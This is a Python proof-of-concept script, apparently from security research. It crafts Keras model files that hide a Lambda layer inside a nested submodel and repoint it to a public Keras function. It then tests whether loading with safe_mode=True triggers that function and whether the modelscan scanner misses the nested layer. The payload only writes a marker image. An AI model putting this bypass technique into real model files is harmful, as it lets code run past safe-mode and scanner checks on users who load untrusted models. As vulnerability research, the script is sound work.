File size: 9,415 Bytes
71379fd | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 | import hashlib
import json
import os
import shutil
import subprocess
import sys
import zipfile
from pathlib import Path
ROOT = Path(__file__).resolve().parent
LAB = ROOT / "lab"
POC = LAB / "safe_mode_public_function_nested.keras"
CONTROL = LAB / "safe_mode_public_function_top_level_control.keras"
MARKER_NAME = "safe_mode_public_function_marker.png"
CONTROL_MARKER_NAME = "safe_mode_public_function_control_marker.png"
MARKER = LAB / "safe_mode_public_function_marker.png"
CONTROL_MARKER = LAB / "safe_mode_public_function_control_marker.png"
MODEL_SCAN_JSON = LAB / "modelscan_safe_mode_public_function.json"
CONTROL_SCAN_JSON = LAB / "modelscan_safe_mode_public_function_control.json"
RESULTS = LAB / "results_safe_mode_public_function.json"
def sha256(path):
h = hashlib.sha256()
with open(path, "rb") as f:
for chunk in iter(lambda: f.read(1024 * 1024), b""):
h.update(chunk)
return h.hexdigest()
def run(cmd):
proc = subprocess.run(
cmd,
cwd=ROOT,
text=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
return {
"cmd": [str(part) for part in cmd],
"returncode": proc.returncode,
"stdout": proc.stdout,
"stderr": proc.stderr,
}
def patch_lambda_function_module(path):
tmp_path = path.with_suffix(".tmp.keras")
with zipfile.ZipFile(path, "r") as zin, zipfile.ZipFile(
tmp_path, "w"
) as zout:
config = json.loads(zin.read("config.json"))
def walk(obj):
if isinstance(obj, dict):
if (
obj.get("class_name") == "Lambda"
and obj.get("config", {}).get("name")
in {
"hidden_plot_gallery_lambda",
"top_level_plot_gallery_lambda",
}
):
obj["config"]["function"] = {
"module": "keras.visualization",
"class_name": "function",
"config": "plot_image_gallery",
"registered_name": None,
}
for value in obj.values():
walk(value)
elif isinstance(obj, list):
for value in obj:
walk(value)
walk(config)
for info in zin.infolist():
data = (
json.dumps(config).encode()
if info.filename == "config.json"
else zin.read(info.filename)
)
zout.writestr(info, data)
tmp_path.replace(path)
def read_config_layers(path):
with zipfile.ZipFile(path, "r") as zf:
config = json.loads(zf.read("config.json"))
top_layers = [
layer.get("class_name")
for layer in config.get("config", {}).get("layers", [])
]
lambda_locations = []
function_configs = []
def walk(obj, trail="root"):
if isinstance(obj, dict):
if obj.get("class_name") == "Lambda":
lambda_locations.append(trail)
function_configs.append(obj.get("config", {}).get("function"))
for key, value in obj.items():
walk(value, f"{trail}.{key}")
elif isinstance(obj, list):
for index, value in enumerate(obj):
walk(value, f"{trail}[{index}]")
walk(config)
return top_layers, lambda_locations, function_configs
def build_models():
os.environ.setdefault("KERAS_BACKEND", "tensorflow")
import keras
LAB.mkdir(exist_ok=True)
for artifact in (
POC,
CONTROL,
MARKER,
CONTROL_MARKER,
MODEL_SCAN_JSON,
CONTROL_SCAN_JSON,
RESULTS,
):
if artifact.exists():
artifact.unlink()
inputs = keras.Input(shape=(2, 2, 1), name="outer_input")
inner_inputs = keras.Input(shape=(2, 2, 1), name="inner_input")
hidden = keras.layers.Lambda(
keras.visualization.plot_image_gallery,
arguments={
"path": MARKER_NAME,
"rows": 1,
"cols": 1,
"show": False,
"value_range": (0, 1),
},
output_shape=(2, 2, 1),
name="hidden_plot_gallery_lambda",
)(inner_inputs)
inner = keras.Model(inner_inputs, hidden, name="inner_nested_model")
outer = keras.Model(inputs, [inputs, inner(inputs)], name="outer_model")
outer.save(POC)
patch_lambda_function_module(POC)
control_inputs = keras.Input(shape=(2, 2, 1), name="control_input")
control_hidden = keras.layers.Lambda(
keras.visualization.plot_image_gallery,
arguments={
"path": CONTROL_MARKER_NAME,
"rows": 1,
"cols": 1,
"show": False,
"value_range": (0, 1),
},
output_shape=(2, 2, 1),
name="top_level_plot_gallery_lambda",
)(control_inputs)
control = keras.Model(
control_inputs,
[control_inputs, control_hidden],
name="top_level_control_model",
)
control.save(CONTROL)
patch_lambda_function_module(CONTROL)
def validate_runtime(model_path, marker_path):
script = (
"import json, os, pathlib\n"
"import numpy as np\n"
"import keras\n"
f"model_path = pathlib.Path(r'{model_path}')\n"
f"marker = pathlib.Path(r'{marker_path}')\n"
"marker.unlink(missing_ok=True)\n"
"os.chdir(model_path.parent)\n"
"model = keras.saving.load_model(model_path, safe_mode=True)\n"
"after_load = marker.exists()\n"
"outputs = model(np.ones((1, 2, 2, 1), dtype='float32'))\n"
"primary_sum = float(np.sum(outputs[0].numpy()))\n"
"result = {\n"
" 'safe_mode_load_succeeded': True,\n"
" 'marker_after_load': after_load,\n"
" 'marker_after_inference': marker.exists(),\n"
" 'marker_size_bytes': marker.stat().st_size if marker.exists() else 0,\n"
" 'primary_output_sum': primary_sum,\n"
" 'secondary_output_is_none': outputs[1] is None,\n"
"}\n"
"print(json.dumps(result, sort_keys=True))\n"
)
return run([sys.executable, "-c", script])
def validate_modelscan(path, output_json):
modelscan = shutil.which("modelscan")
if modelscan is None:
modelscan = str(ROOT / ".venv" / "Scripts" / "modelscan.exe")
result = run(
[
modelscan,
"scan",
"-p",
str(path),
"-r",
"json",
"-o",
str(output_json),
"--show-skipped",
]
)
scanner_json = None
if output_json.exists():
scanner_json = json.loads(output_json.read_text())
return result, scanner_json
def package_versions():
script = (
"import json, keras, modelscan\n"
"mods = {}\n"
"for name in ['matplotlib', 'PIL', 'tensorflow', 'numpy']:\n"
" try:\n"
" mod = __import__(name)\n"
" mods[name] = getattr(mod, '__version__', 'unknown')\n"
" except Exception as exc:\n"
" mods[name] = f'unavailable: {type(exc).__name__}: {exc}'\n"
"print(json.dumps({\n"
" 'python': __import__('sys').version,\n"
" 'keras': keras.__version__,\n"
" 'modelscan': getattr(modelscan, '__version__', 'unknown'),\n"
" **mods,\n"
"}, sort_keys=True))\n"
)
result = run([sys.executable, "-c", script])
try:
return json.loads(result["stdout"])
except json.JSONDecodeError:
return {"version_probe": result}
def parse_json_stdout(result):
try:
return json.loads(result["stdout"])
except json.JSONDecodeError:
return None
def main():
build_models()
top_layers, lambda_locations, function_configs = read_config_layers(POC)
control_top_layers, control_lambda_locations, _ = read_config_layers(CONTROL)
runtime = validate_runtime(POC, MARKER)
control_runtime = validate_runtime(CONTROL, CONTROL_MARKER)
scanner_run, scanner_json = validate_modelscan(POC, MODEL_SCAN_JSON)
control_scanner_run, control_scanner_json = validate_modelscan(
CONTROL, CONTROL_SCAN_JSON
)
results = {
"artifact": str(POC),
"sha256": sha256(POC),
"size_bytes": POC.stat().st_size,
"marker": str(MARKER),
"top_level_layers_seen_by_modelscan_logic": top_layers,
"lambda_locations": lambda_locations,
"lambda_function_configs": function_configs,
"runtime_run": runtime,
"runtime_json": parse_json_stdout(runtime),
"modelscan_run": scanner_run,
"modelscan_json": scanner_json,
"control_artifact": str(CONTROL),
"control_sha256": sha256(CONTROL),
"control_top_level_layers": control_top_layers,
"control_lambda_locations": control_lambda_locations,
"control_runtime_run": control_runtime,
"control_runtime_json": parse_json_stdout(control_runtime),
"control_modelscan_run": control_scanner_run,
"control_modelscan_json": control_scanner_json,
"versions": package_versions(),
}
RESULTS.write_text(json.dumps(results, indent=2))
print(json.dumps(results, indent=2))
if __name__ == "__main__":
main()
|